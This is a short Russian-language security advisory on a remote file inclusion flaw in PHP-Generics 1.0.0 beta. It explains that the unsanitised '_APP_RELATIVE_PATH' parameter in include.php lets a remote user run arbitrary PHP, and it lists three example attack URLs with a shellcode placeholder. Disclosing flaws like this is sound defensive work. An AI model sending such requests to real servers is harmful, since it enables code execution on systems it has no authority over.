Программа: PHP-Generics 1.0.0 beta
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре «_APP_RELATIVE_PATH» сценарием include.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://[target]/[directory]/include.php?_APP_RELATIVE_PATH=[ShellCode]
http://[target]/[directory]/dbcommon/include.php?_APP_RELATIVE_PATH=[ShellCode]
http://[target]/[directory]/exception/include.php?_APP_RELATIVE_PATH=[ShellCode]
